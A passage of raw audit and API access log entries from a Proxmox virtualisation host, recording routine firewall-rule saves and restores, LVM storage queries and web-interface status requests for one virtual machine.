a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64402 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035886,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.886:68173): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65468 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425863,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.863:60956): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965239774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781964494586,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964494.586:61248): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58797 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965172050,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965172.050:64467): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035796,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.796:68157): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965775508,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.508:67055): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64401 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.878:68172): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964424311,"@rawstring":"node=pve type=EXECVE msg=audit(1781964424.311:60955): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965239774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964494575,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964494.575:61246): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58796 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965172050,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965172.050:64466): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035787,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.787:68156): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965775505,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.505:67054): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=57c5ecf14740 items=0 ppid=1156 pid=64400 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966035873,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.873:68171): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=585c4179a740 items=0 ppid=1156 pid=65466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964424305,"@rawstring":"node=pve type=EXECVE msg=audit(1781964424.305:60952): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965239774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964494575,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964494.575:61245): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58796 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965167043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965167.043:64464): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035778,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.778:68155): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965775502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.502:67053): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc12f860 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64400 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035865,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.865:68170): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc14a800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964424097,"@rawstring":"node=pve type=EXECVE msg=audit(1781964424.097:60949): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965239774,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 499"} {"@timestamp":1781964489567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964489.567:61243): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58795 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965167043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965167.043:64463): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035770,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.770:68154): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965775494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.494:67052): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13aa00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64399 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035859,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.859:68169): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134dc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964424056,"@rawstring":"node=pve type=EXECVE msg=audit(1781964424.056:60948): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965237854,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781964489567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964489.567:61242): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58795 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965167036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965167.036:64461): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035761,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.761:68153): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965775487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.487:67051): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1364d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64398 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.854:68168): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139e30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964419292,"@rawstring":"node=pve type=EXECVE msg=audit(1781964419.292:60947): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965237854,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781964489558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964489.558:61240): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58794 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965167036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965167.036:64460): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035163,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.163:68152): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965775482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.482:67050): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13dd80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64397 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035847,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.847:68167): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134d90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964419283,"@rawstring":"node=pve type=EXECVE msg=audit(1781964419.283:60944): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965237854,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:36 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964489557,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964489.557:61239): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58794 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965165385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.385:64456): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcd5799f10 a1=5df2ff6c51c0 a2=5df2ff6a3680 a3=5 items=1 ppid=61926 pid=61927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035156,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.156:68149): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965775474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.474:67049): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1364d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64396 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035838,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.838:68166): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415851,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.851:60941): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965236644,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964485799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.799:61235): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc94facc70 a1=5edd5c4b63d0 a2=5edd5c494680 a3=5 items=1 ppid=58787 pid=58788 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965165290,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.290:64438): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc593965f0 a1=6543ec355310 a2=6543ec34e680 a3=5 items=1 ppid=61907 pid=61908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966034833,"@rawstring":"node=pve type=EXECVE msg=audit(1781966034.833:68146): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965775468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.468:67048): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c7460 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64395 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.833:68165): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f8ad0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65461 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415848,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.848:60940): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965236644,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964485721,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.721:61217): arch=c000003e syscall=59 success=no exit=-2 a0=7fff7da0f700 a1=5d3ebd4d8200 a2=5d3ebd4b6680 a3=5 items=1 ppid=58768 pid=58769 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965162029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965162.029:64428): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966034810,"@rawstring":"node=pve type=EXECVE msg=audit(1781966034.810:68145): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965775461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.461:67047): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64394 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.823:68164): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65460 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415847,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.847:60939): argc=1 a0=\"date\""} {"@timestamp":1781965236644,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964484547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964484.547:61207): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965162029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965162.029:64427): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966030148,"@rawstring":"node=pve type=EXECVE msg=audit(1781966030.148:68144): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965775454,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.454:67046): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64393 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035817,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.817:68163): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65459 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415843,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.843:60937): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965236644,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964484547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964484.547:61206): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965162022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965162.022:64425): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966030143,"@rawstring":"node=pve type=EXECVE msg=audit(1781966030.143:68141): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965775449,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.449:67045): arch=c000003e syscall=59 success=yes exit=0 a0=5d76fa6d8ed0 a1=5d76fa6d5c50 a2=5d76fa6b7680 a3=5 items=2 ppid=64386 pid=64392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035811,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.811:68162): arch=c000003e syscall=59 success=yes exit=0 a0=654084302e90 a1=6540842ffc10 a2=6540842e1680 a3=5 items=2 ppid=65452 pid=65458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 